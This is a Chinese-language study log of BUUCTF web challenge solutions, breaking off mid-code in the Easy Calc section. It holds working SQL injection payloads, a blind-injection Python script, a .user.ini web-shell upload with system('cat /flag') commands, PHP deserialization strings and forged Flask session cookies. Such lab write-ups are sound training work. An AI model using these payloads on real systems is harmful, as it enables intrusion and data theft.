buuctf


[极客大挑战 2019]EasySQL1

dfb8a353c0093c82c669db8e48864047.png
单引号围的
37dcb4e8076a072d3478e3ee63d26e0d.png
SQL的语法格式规定–和后面的注释内容必须间隔一个空格
在SQL注入中,“–+”可用于注释是因为在SQL语法里,“– ”(后面有空格)是标准的单行注释起始标识,“+”在这里可能是为了绕过某些过滤机制。当数据库执行SQL语句时,遇到“– ”就会忽略后面的内容,攻击者利用这个特性,通过构造包含“–+”的恶意语句,使后面的查询逻辑被注释掉,从而达到改变查询原意、获取非法数据等目的。
所以一定要有空格啊(


[强网杯 2019]随便注1

0a223de355e17decc72863de26a72b52.png
5a777138a26db07c378cadba24a77570.png
215b05e5165b0a292062e36954c398b1.png
236c845da78aa517ba031f0b2b554f48.png
98d0595f1c0374397a3d1370b7306369.png
2f6ceaccb29373f6fdf89f7a6b651bdb.png
5dbad5fe33b7be4a387406654588dc4a.png
https://www.mysqlzh.com/doc/126/253.html

1';
handler `1919810931114514` open;
handler `1919810931114514` read first;#

这道题我好像被剧透了(,本来想打开小本本翻一翻堆叠(因为我越看越熟悉,好像要用这个),结果发现堆叠就是从这道题抄的(
2ee162ea82c68b0b28b3ac8f6996d071.png

1';handler `1919810931114514` open as`ddl`;
handler `ddl` read next;--
一样

[极客大挑战 2019]HardSQL1

先放个字典
https://www.cnblogs.com/CVE-Lemon/p/16187971.html
afdd780a3c26cc0291a0ff2edfbf27c5.png
/**/,%20,=都被过滤了,但like没被过滤换=;and也被搞了,用or(burp可见,反正过滤了一堆,就不放图了
75d480ea766c77feff663a8247a6ac96.png
limit没被过滤,说明是空格被过滤了
30e79d19bae056941cd635f627db1854.png
查一个新的
1c7660abc9397a5f09c54c68feadd623.png
%A0不可
0ef86a801db09c991dc813e96465423a.png
dd6be0eecab7f9fbb43422f88041b2e7.png
()可,尝试了下可为1'or(1)like(1)#,万能密码成功后发现只有这个,用报错注入
15b57d9a0152f4a97cf94568454d8e96.png
我用我的那个报错注入的方法发现一直不对,然后发现是rand被过滤了。好好好,三种方法选了一种就正好被过滤了
467fa8d31cd839e3b1d0cc4f10819f9e.png
那就换个
[https://www.cnblogs.com/csyxf/p/10241456.html](https://)extractvalue无事,遂用
91bf424956abef30cb47ef6c4db7022f.png
这里我发现直接用hackbar传不对,然后在登录界面重新尝试了一下,并观察上方网址,发现需要用URL编码后再execute
(可能是因为过滤的太多了吧,太屑了
1'or(extractvalue(0x7e,concat(0x7e,(select(database())))))#
3fa376449c53c54edcb9227885473a8a.png
1'or(extractvalue(0x7e,concat(0x7e(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')))))#
894a4b1c6d1a51c1fd51954ac75dde7d.png
1'or(extractvalue(0x7e,concat(0x7e(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))#
77d4fac4a64b308ec7f3098ee092cf1e.png
1'or(extractvalue(0x7e,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)))))#
85556fa19c74c093ea33a47a536d314e.png
然后发现substr被过滤了(悲
ab4c261fdcca91d8108362ae777a8491.png
遂再找(
https://www.wanfa688.com/html/Products/478771.html
试了一下left和right都挺安全的
3f3cf8afbbb43a3fa4b255b6a7080e0f.png
1'or(extractvalue(0x7e,concat(0x7e,right((select(group_concat(password))from(geek.H4rDsq1)),31))))#
398dde33f15ac6556d2337bf694af22f.png
拼一下
flag{589e7b10-f37f-4255-84d3-a323ae257d5b}


话说sqlmap能不能再多出一些脚本什么的,不够用哇
等我复习完cpp一定高产似那啥咕咕咕咕

[ACTF2020 新生赛]Upload1

随机挑选一个幸运儿(
c52edc539d97fb471a45ef6083cf100e.png
五毒俱全
1636aeb681a2402a389c787dac4292c7.png


[GXYCTF2019]BabyUpload1

总之试了试好像普通png,gif,.htaccess都不可,普通的jpg可
然后点进了题目下的链接(
759d44425892524fda812388b57711e6.png
(辣么大个链接总之就是直接点进去了
http://9fd24382-f481-438e-a0be-28adc1a81bac.node5.buuoj.cn:81
b624b5b858e10f870886fa4a0ea31a52.png
那就按它的要求来吧
8d021b4aad2303f305dfffb268acc12e.png
5186e40e3c2c83506375d1ef8f67352c.png
还有要注意访问的路径是从upload后开始


suprise egg

总之是被警告了
d05e7988e0592d25d4a302c53052a38c.png
被攻击了,buu你有什么头绪吗


好好好终于把第二周的要求内容肝完了,这回真的要咕咕咕咕咕咕咕了
绝对不是因为什么最近沉迷看cs2比赛
话说这个Hashcoin有什么用么,集齐100个是不是能召唤神龙

[极客大挑战 2019]BabySQL1

绕过,似曾相识的方法
?username=1&password=1' uunionnion sselectelect 1,2,3--+
我赌1包辣条information绝对是被from牵连的!!!(震怒)
e383ecc0ef4ca571f5e0f3cc5405760c.png
?username=1&password=1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=database()--+
经典二选一,geekuser大失败(悲)
99665abe50f908d6b7b1eee17ca0eadb.png
f045cddb3e1a5ec3786df7f1aa9fc37f.png
唉,2077世界


[极客大挑战 2019]PHP1

0bc4e1d145789dc6a1b306c25a22d48d.png
https://www.runoob.com/php/php-unserialize-function.html
https://www.runoob.com/php/php-serialize-function.html
https://twle.cn/c/yufei/phpmmethod/phpmmethod-basic-wakeup.html

《?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }#会给username再赋值

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}

?》
include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);

?select=

《?php
class Name
{
    private $username = 'admin';
    private $password = 100;
}
$a=new Name;
echo serialize($a);

O:4:”Name”:2:{s:14:” Name username”;s:5:”admin”;s:14:” Name password”;i:100;}
在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup(),去执行__destruct
O:4:”Name”:3:{s:14:” Name username”;s:5:”admin”;s:14:” Name password”;i:100;}
但还是说no,hacker(破音)
2bec80f91e6bfad2870d1f2232683db7.png

%00是对象序列化后不可见字符对应的url编码,如果直接将序列化结果复制浏览器中,因为字符不可见所以会变成空格,所以我们要手动加上这个%00

好吧终于知道图中不明字符了
?select=O:4:”Name”:3:{s:14:”%00Name%00username”;s:5:”admin”;s:14:”%00Name%00password”;i:100;}


[ACTF2020 新生赛]BackupFile1

d6269676d01904af0f453fddb1fb6814.png
https://www.runoob.com/php/php-is_numeric-function.html
https://www.runoob.com/php/php-intval-function.html

《?php
include_once "flag.php";

if(isset($_GET['key'])) 
{
    $key = $_GET['key'];
    if(!is_numeric($key)) #is_numeric() 函数用于检测变量是否为数字或数字字符串。
    {
        exit("Just num!");
    }
    $key = intval($key);#intval() 函数用于获取变量的整数值。
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

在PHP中:
== 为弱相等,即当整数和字符串类型相比较时。会先将字符串转化为整数然后再进行比较。比如a=123和b=123admin456进行==比较时。则b只会截取前面的整数部分。即b转化成123。
?key=123


[BJDCTF2020]Easy MD51

不是源代码的copy者,只是源代码的搬运工。。。
https://www.runoob.com/php/func-filesystem-file-get-contents.html
https://www.iteye.com/blog/jun1986-1176909

《?php
header('hint:select * from \'admin\' where password='.'md5($pass,true)');
?>
《?php
error_reporting(0);
$password = $_GET['password'];

if($password == 'ffifdyop')#看见==,似乎知道要考弱类型。。。
{
    echo "<script>window.location.replace('./levels91.php')</script>";#window.location.replace(“url”):将地址替换成新url,该方法通过指定URL替换当前缓存在历史里(客户端)的项目,
}

?>
《?php
error_reporting(0);
$a = $_GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b))#看见==,似乎知道要考弱类型。。。
{
    echo "<script>window.location.replace('./levell14.php')</script>";
}
?>

7d1a019efadddab9ceae5ab701ab76fe.png
唉,爆了爆了,=》glzjinhttps://github.com/glzjin

《?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

此时我才意识到不该看源代码的,相当于看wp了,我又又又又忘了(哭
好吧就当我什么也没看到(
burp找到的
372588dbab00b81c163759fc1c782888.png
https://www.w3school.com.cn/php/func_string_md5.asp
md5=》为’ ‘ or 1(true)即可通过
在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。
要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。
布尔值:布尔值 false 本身为假。
整数:值为 0 的整数被视为 false ,例如 0 、 0.0 (因为在比较时 0.0 会被转换为整数 0 )。
空字符串: “” (双引号)或者 ‘’ (单引号)空字符串为假。
空数组: array() 或者 [] 表示的空数组被判定为 false 。
特殊类型值: null 和 undefined (在PHP严格模式下没有真正的 undefined ,不过在一些比较宽松的情况下可以类似理解)被判定为 false 。
未初始化的变量:在一些情况下,未初始化的变量如果在条件判断中使用,会发出警告并且被视为 false 。
其他情况一般都被判定为 true
只要’or’后面的字符串为一个非零的数字开头都会返回True
偷的脚本

《?php
for ($i = 0;;) {
    for ($c = 0; $c < 1000000; $c++, $i++)
        if (stripos(md5($i, true), '\'or\'') !== false)#stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)找一下or哈
            echo "\nmd5($i) = " . md5($i, true) . "\n";
    echo ".";
}
?>

找到一个
605c2ccf2407e4c907602cdff46897c8.png
但从源代码if($password == 'ffifdyop')来看已经定死了ffifdyop(唉,定制
估计出题人想的是特例秒了没想到会有憨憨真的一个一个找
这是”ffifdyop”md5后
dbe8bbbaaee382b724bb08151d262e0d.png
然后考md5碰撞
https://blog.csdn.net/qq_64201116/article/details/126493091(唉已经有前人栽树了

字符串之间进行比较,想要绕过这个弱比较只能用0e的方式。在PHP中”0e”判断为科学计数法,0e123就是0的10123次方,不难推出:0e123456789==0e1 // 因为0的任意次方都为0。在0e后面不能含有字母!!!否则判断为False
随便选几个就行了

?
a=MMHUWUV&
b=MAUXXQC

md5_1[]=1&md5_2[]=2
因为PHP对无法md5加密的东西不加密,结果为NULL,虽然会报错,但是null=null,逻辑关系为True。所以可以输出flag
唉自己搞的hackbar的插件真是不好用,好几次post都不行,最后用的burpsuit。大家还是用火狐的hackbar吧
bdc102e6223dabb4ac703c4748781ed6.png


[MRCTF2020]你传你🐎呢1

开幕鬼图。。。
用repeater试了一下,猜测可能是尾部不能有php。且Content-Type需为png/jpeg。。。
Q:用asp,但好像试了一下不行。
72005344cc19cb2fd346af3175db3dce.png
猜测是asp没被解析(是吗?
然后用了.htaccess,改一下Content-Type访问即可。
还有就是不要访问/var/www/html/upload/f46c7557e25c244fb27f31414303dcf9/pass.png 而是upload/f46c7557e25c244fb27f31414303dcf9/pass.png。


[ZJCTF 2019]NiZhuanSiWei1

https://www.runoob.com/php/php-preg_match.html

《?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){#需要一个txt文件
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){#查找是否有"flag"
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

?text=file://D:\Desktop\ctf\ctf\buuctf\welcome to the zjctf.txt不行
https://www.cnblogs.com/zzjdbk/p/13030717.html
https://www.php.net/manual/zh/wrappers.data.php
6181f5b97cc3a19e68afb5284cb03a94.png
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
看不见的useless.php究竟是何方神圣。。。
&file=php://filter/read=convert.base64-encode/resource=useless.php

《?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  #__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

https://www.php.net/manual/zh/language.oop5.magic.php#object.tostring

在 PHP 编程中,是不能用echo语句直接输出一个对象的,也不能用字符串连接符 (.) 拼接一个对象
要想输出的话,就要把实体对象转换成字符串,这也正是__tostring函数的意义所在。

$password=new Flag;
echo $password;

但显示“must return a string value in”
想到password会unserialize一次,serialize后正是字符串,toString() 方法用于一个类被当成字符串时应怎样回应(好巧

《?php

class Flag{  //flag.php
public $file='flag.php';
public function __tostring(){  #__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password=new Flag;
$password=serialize($password);
echo $password;
?>

怎么连起来呢?用include($file),将useless.php用起来。。。
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
oh u find it,在源代码里。


小趣事剧场
第一次忘给加flag.php引号了,然后得到flagphp
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:7:"flagphp";}
于是:U R SO CLOSE !///COME ON PLZ
很好,看到这个时人都不好了


[护网杯 2018]easy_tornado1

/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))

标题是龙卷风
https://www.osgeo.cn/tornado/template.html

tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页
RequestHandler.render(template_name: str, **kwargs: Any)→ Future[None][源代码]¶
以给定参数作为响应呈现模板。
ender是python的一个渲染函数,他们的url都是由filename和filehash组成,filehash即为他们filename的md5值。
Tornado模板支持 控制语句 和 表达 . 控制语句被包围 {{% 和 %}} ,例如 {{% if len(items) > 2 %}} . 表达式被包围 {{{{ 和 }}}} ,例如 {{{{ items[0] }}}} .

。。。不是,这给我干哪儿了
https://www.cnblogs.com/-chenxs/p/11971164.html
。。。好吧,XXS士别三日当刮目相看(
https://blog.csdn.net/miuzzx/article/details/123329244
唉龙卷风的实力
https://www.cnblogs.com/bmjoker/p/13508538.html
感情现在才知道是考SSTI(好吧我是第一次听这个东西
https://www.cnblogs.com/cimuhuashuimu/p/11544455.html
找到了~
不是,想看看龙卷风的SSTI结果发现龙卷风的唯一例子就是从这道题取得啊(小众宝藏模板实锤了
83e80f39bdc56c99964045d59a0303c1.png
在这里改一下filehash后得到error界面
ec88202d1c253015146f2f861622ed36.png
上方链接说得就不赘述了
error?msg={{handler.settings}}
AI真是智能,浅浅让它改改语法漏洞百出的python脚本(dbq我会努力的

import hashlib

filename = '/fllllllllllllag'
cookie_secret = 'fb5a8768-2485-4575-a5c6-f336fae93f01'
# 将文件名编码为字节类型
filename_bytes = filename.encode('utf-8')
mid = hashlib.md5(filename_bytes)
# 获取十六进制哈希值
mid_hex = mid.hexdigest()
result = cookie_secret + mid_hex
# 对拼接后的结果计算MD5哈希值
final_hash = hashlib.md5(result.encode('utf-8'))
print(final_hash.hexdigest())

其实这次payload在原url上改挺方便的。。。
?filename=/fllllllllllllag&filehash=b52ee6e6b21e8ce79913379fd4aeb5e2


[MRCTF2020]Ez_bypass1

怎么这么多md5…

if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';

?gg[]=1&id[]=2

if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))#如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');

passwd=1234567ab


[SUCTF 2019]CheckIn1

https://www.freebuf.com/articles/web/287193.html
先试了试,上传木马到是正常方法绕过即可(%00也试过却不可),但发现上传 .htaccess 想加GIF89a,但又不能加。。。
60b35f867b5571edfe827aea70dc157d.png
.htaccess的配置文件只能在Apache服务器中起作用(哭

能够利用.user.ini的条件:
服务器脚本语言为PHP 服务器使用CGI
FastCGI模式
上传目录下要有可执行的php文件

auto_prepend_file = <filename>         //包含在文件头
auto_append_file = <filename>          //包含在文件尾

auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。

GIF89a
auto_prepend_file=pass.gif

先上传pass.gif再上传.user.ini
访问/uploads/5e6f2693d111128ec4f1d7336f65b87f/index.php
.user.ini中auto_prepend_file=pass.gif会在执行index.php前把pass包含进来,且解析为php格式
ps:user.ini里有个user_ini.cache_ttl ,它控制着重新读取用户 ini文件的时间,可能时间一到刷新掉了,这时要重新上传.user.ini。

?pass=system("ls /");  或?pass=var_dump(scandir("/")); // 扫描当前目录下的文件,并打印出来 
?pass=system("cat /flag");  或?pass=var_dump(file_get_contents("/flag"));

[GXYCTF2019]BabySQli

一开始试了试username是admin没想到蒙对了(
在burp中找到了这个(这是啥
<--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
先base32再base64得到select * from user where username = '$name'
好吧谢谢但我已经蒙出username了
用字典intrude了一下发现or,=,(,)都被过滤了。使用大小写绕过or,使用like绕过=
https://blog.csdn.net/weixin_40950781/article/details/100061268
SELECT 1,2,3  是一个简单的查询语句,它会返回一行包含三个列的数据,这三个列的值分别为  1 、 2  和  3 。 SELECT  关键字用于指定要从数据库中检索的数据。在这种情况下,我们没有从任何表中获取数据,而是直接指定了要返回的具体值。
1' union select 1,2,3# 有三个字段
搞password用select * fRom user where username like 'admin'还是错的(哭
偷看源码发现用了md5(我:啊????
https://github.com/imagin-sch/GXY_CTF/blob/master/Web/BabySqli/dockerfile/files/html/search.php
https://www.runoob.com/php/func-mysqli-fetch-row.html
https://www.runoob.com/php/func-mysqli-query.html

$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);#mysqli_query() 函数执行某个针对数据库的查询。
$arr = mysqli_fetch_row($result);#从**数据库**结果集中获取一行数据的函数。它返回一个枚举数组,其中每个结果**列**存储在从0开始的数组偏移量中。
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
			}				
			

arr[0],[1],[2]分别对应union select 1,2,3#
arr[1]是admin,[2]是password=>union select 1,’admin’,password#
现在要求arr[2]即union select的3(password)md5后与password相等即可
username:7' union select 1,'admin','8f14e45fceea167a5a36dedd4bea2543'# (这里第一个不能是admin,不然会直接跳转到wrong pass
password:7(7是我的幸运数字^_^


[GYCTF2020]Blacklist

扔进burp 过一下字典(
结果直接爆出来了(啊?
1' or 1=1#
e35b88b5086142e59614ceecd58e31fe.png
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
1';show database();#
1';show tables;#
abe40dfce048a68691247cc280c3e2f5.png
1'; show columns from FlagHere;#
1753b9108c6497effa9223a7ed50a885.png
1';handler FlagHere open as ddl;handler ddl read next;#
得到flag?????
ccbd38ab641e15b7ff867aec3b9fb0d9.png
那我请问这道题跟[强网杯 2019]随便注有啥区别呢(
多给个114514试图迷惑(即答


[CISCN2019 华北赛区 Day2 Web1]Hack World

1 =>Hello, glzjin wants a girlfriend.
开幕雷击(实在不行咱放弃吧哥
2 =>Do you want to be my girlfriend?
哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈
除1,2之外的都挂了(
页面只有登录成功和登录失败这两种情况时,可以使用布尔盲注。
输入1+空格返SQL Injection Checked.(又欺负空格
if(ascii(substr((select flag from flag),1,1))>1,1,2)
if(ascii(substr((select(flag)from(flag)),1,1))>1,1,2)
或(ascii(substr((select(flag)from(flag)),1,1))>1)

 if()  函数一般接受三个参数,第一个参数是条件判断,后面两个参数分别是条件为真和为假时返回的值。

下面那个则是单纯1,0判断。
https://blog.csdn.net/python1639er/article/details/112325519
https://www.begtut.com/python/ref-requests-post.html

> # 用布尔盲注得出flag:二分法,做ascii循坏i,当返回为1时取此时的ascii(i)再转换为字符(ascii(substr((select(flag)from(flag)),j,1))>i)(0<=i<=127,0<=j<50)
> import requests
> 
> # requests  模块用于发送 HTTP 请求,这里主要用于向目标网站发送 POST 请求。
> url = "http://7cd8bda1-df2d-4a3d-af9f-66850cce8b1c.node5.buuoj.cn:81/index.php"
> result = ""
> for i in range(1, 50):#~~第一次设的30然后还没输出完就结束了~~
>     for j in range(1, 128):
>         payload = "(ascii(substr((select(flag)from(flag)),{m},1))>{n})"  #  {m}  和  {n}  是占位符,会被  i  和  j  的值替换。
>         response = requests.post(url=url, data={'id': payload.format(m=i,n=j)})  # 使用  requests.post  方法向目标 URL 发送 POST 请求,请求的参数是  id ,其值为构造的 SQL 注入 payload。
>         # requests.post(url, data={key: value}, json={key: value}, args)
>         if response.text.find('girlfriend') == -1:  # 检查响应文本中是否包含字符串  girlfrined(疯狂迫害
>             result = result + chr(j)#将对应的字符  chr(j)  添加到  result  中,在 Python 中, +  运算符用于字符串时,它的作用是将两个字符串连接起来,生成一个新的字符串。
>             break#跳内层循环
>     print(result)#看进度
> print(result)

运行得好慢~

f
fl
fla
flag
flag{
flag{2
flag{27
flag{274
flag{2744
flag{2744d
flag{2744d1
flag{2744d15
flag{2744d15f
flag{2744d15f-
flag{2744d15f-2
flag{2744d15f-2a
flag{2744d15f-2a4
flag{2744d15f-2a4a
flag{2744d15f-2a4a-
flag{2744d15f-2a4a-4
flag{2744d15f-2a4a-45
flag{2744d15f-2a4a-459
flag{2744d15f-2a4a-4599
flag{2744d15f-2a4a-4599-
flag{2744d15f-2a4a-4599-b
flag{2744d15f-2a4a-4599-b9
flag{2744d15f-2a4a-4599-b90
flag{2744d15f-2a4a-4599-b90e
flag{2744d15f-2a4a-4599-b90e-
flag{2744d15f-2a4a-4599-b90e-f
flag{2744d15f-2a4a-4599-b90e-fc
flag{2744d15f-2a4a-4599-b90e-fce
flag{2744d15f-2a4a-4599-b90e-fced
flag{2744d15f-2a4a-4599-b90e-fced2
flag{2744d15f-2a4a-4599-b90e-fced24
flag{2744d15f-2a4a-4599-b90e-fced242
flag{2744d15f-2a4a-4599-b90e-fced2422
flag{2744d15f-2a4a-4599-b90e-fced2422b
flag{2744d15f-2a4a-4599-b90e-fced2422bc
flag{2744d15f-2a4a-4599-b90e-fced2422bc2
flag{2744d15f-2a4a-4599-b90e-fced2422bc23
flag{2744d15f-2a4a-4599-b90e-fced2422bc23}
flag{2744d15f-2a4a-4599-b90e-fced2422bc23}
flag{2744d15f-2a4a-4599-b90e-fced2422bc23}
flag{2744d15f-2a4a-4599-b90e-fced2422bc23}
flag{2744d15f-2a4a-4599-b90e-fced2422bc23}
flag{2744d15f-2a4a-4599-b90e-fced2422bc23}
flag{2744d15f-2a4a-4599-b90e-fced2422bc23}
flag{2744d15f-2a4a-4599-b90e-fced2422bc23}
flag{2744d15f-2a4a-4599-b90e-fced2422bc23}

[HCTF 2018]admin

这界面好熟悉。。。。像极了“我的第一个flask“什么的(被打

然后发现404了(

但总之最后是偷来了

客户端 session 导致的安全问题 | 离别歌

{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}

SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
#看来大家都爱用名字作key呀(感慨ing
@app.route('/code')
def get_code():
    image, code = get_verify_code()
    # 图片以二进制形式写入
    buf = BytesIO()
    image.save(buf, 'jpeg')
    buf_str = buf.getvalue()
    # 把buf_str作为response返回前端,并设置首部字段
    response = make_response(buf_str)
    response.headers['Content-Type'] = 'image/gif'
    # 将验证码字符串储存在session中
    session['image'] = code
    return response

flask的session是存储在cookie中且仅签名而未加密

#先把session拿出来
.eJxF0MFuwjAMBuBXmXzmAC29IHEApetAiqNGKZVzQQxK06RhWgG1FPHuK0zazr_9_bLvsD02xdnA7NJcixFsqwPM7vD2CTPg1tQiTzvqpdVsU2smK7S11Yl0nMUR-o3Vam04yzpS0lGetqjeLVdlhEncUUA3bdNOqHRCPus1W0XYL26kspYrdxOKpsiWtUikFyztkJUt5tl0MBwpNMN8KNTSoEdDwbvT1kXIDjXlm0qzxWDKSrBVMOzO4TGC_bk5bi9frjj9n_Cs7vdjUnH4JNCWvbZZKHI0GGQ9T9aGPE11Hoc8SNuB9nwxf3GV35XFnySV_CjS3-S080MA39WphBFcz0XzehtMxvD4AYitbJY.Z6NK_Q.c9Wsxg_Bj6vn0mKgkPavhwsLBi8

https://github.com/noraj/flask-session-cookie-manager

git clone https://github.com/noraj/flask-session-cookie-manager

Decode

usage: flask_session_cookie_manager{2,3}.py decode [-h] [-s <string>] -c <string>

optional arguments:
  -h, --help            show this help message and exit
  -s <string>, --secret-key <string>
                        Secret key
  -c <string>, --cookie-value <string>
                        Session cookie value
python3 flask_session_cookie_manager3.py decode -s 'ckj123' -c '.eJxF0MFuwjAMBuBXmXzmAC29IHEApetAiqNGKZVzQQxK06RhWgG1FPHuK0zazr_9_bLvsD02xdnA7NJcixFsqwPM7vD2CTPg1tQiTzvqpdVsU2smK7S11Yl0nMUR-o3Vam04yzpS0lGetqjeLVdlhEncUUA3bdNOqHRCPus1W0XYL26kspYrdxOKpsiWtUikFyztkJUt5tl0MBwpNMN8KNTSoEdDwbvT1kXIDjXlm0qzxWDKSrBVMOzO4TGC_bk5bi9frjj9n_Cs7vdjUnH4JNCWvbZZKHI0GGQ9T9aGPE11Hoc8SNuB9nwxf3GV35XFnySV_CjS3-S080MA39WphBFcz0XzehtMxvD4AYitbJY.Z6NK_Q.c9Wsxg_Bj6vn0mKgkPavhwsLBi8' 

{'_fresh': True, '_id': b'28e9d1c4cd5ed4b69cddd0196ece2a051a4dad051c1894a1cf2f41945be3d29702a5019296840e8df8414805e851da3ad2790a6cacadf9947eaebd05bdb82684', 'csrf_token': b'145c74a17cad683f579ca7e30babf8ea73d0aef0', 'image': b'E4Gy', 'name': 'qing', 'user_id': '10'}

encode

usage: flask_session_cookie_manager{2,3}.py encode [-h] -s <string> -t <string>

optional arguments:
  -h, --help            show this help message and exit
  -s <string>, --secret-key <string>
                        Secret key
  -t <string>, --cookie-structure <string>
                        Session cookie structure
python3 flask_session_cookie_manager3.py encode -s 'ckj123' -t "{'_fresh': True, '_id': b'28e9d1c4cd5ed4b69cddd0196ece2a051a4dad051c1894a1cf2f41945be3d29702a5019296840e8df8414805e851da3ad2790a6cacadf9947eaebd05bdb82684', 'csrf_token': b'145c74a17cad683f579ca7e30babf8ea73d0aef0', 'image': b'E4Gy', 'name': 'admin', 'user_id': '10'}"

.eJxF0MGOgjAQBuBX2czZg4JcTDxoiqwmnYamSKYX4ypSWuomqAExvvuim-ye_5nvz8wDdqemuBiYXZtbMYJddYTZAz6-YAbcmlrkaUe9tJpta81khba2OpGOszhCv7VabQxnWUdKOsrTFtXKclVGmMQdBXTXNu2ESifks16zdYT94k4qa7lyd6FoimxZi0R6wdIOWdlink0Hw5FCM8yHQi0NejQUrJy2LkJ2rCnfVpotBlNWgq2DYXcOzxEcLs1pd_12xfn_hFd1fxiTisMXgbbstc1CkaPBIOt5sjHkaarzOORB2g6054v5m6v8viz-JKnkZ5H-Jue9HwLYH311hhHcLkXz_htMxvD8AfZvbPA.Z6NLTQ.2ijxBi8WejFl8Z7IUnLCtcYZRT4

flag{ed0fcbdf-7439-497d-ba5b-9970b44bbf86}


name = strlower(session['name'])

def strlower(username):
    username = nodeprep.prepare(username)#nodeprep.prepare存在漏洞,且login的时候又strlower一次
    return username

先注册:ᴬᴰᴹᴵᴺ,再改密码,再用ADMIN登录

在注册的时候 ”ᴬᴰᴹᴵᴺ“ 经过strlower(),转成”ADMIN“ , 在修改密码的时候 ”ADMIN“经过strlower()变成”admin“ , 当我们再次退出登录的时候 ”admin“经过strlower()变成”admin“


[RoarCTF 2019]Easy Calc

在默认情况下,正则表达式中的锚点 ^$ 分别匹配整个字符串的开头和结尾。而当使用 /m 修饰符开启多行模式后,^$ 的匹配规则会发生变化:

  • ^ 可以匹配每行的开头(换行符 \n 之后的位置)。
  • $ 可以匹配每行的结尾(换行符 \n 之前的位置)。
$('#calc').submit(function(){
# $('#calc'):使用 jQuery 选择器选中 id 为 calc 的表单元素。
#.submit():为选中的表单元素绑定提交事件处理函数。当表单被提交时,会执行该函数内的代码。
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
                 })
        return false;
    #return false;:阻止表单的默认提交行为,即阻止页面刷新并跳转到表单的 action 属性指定的 URL。
    })?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];#将num值赋给变量 $str
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
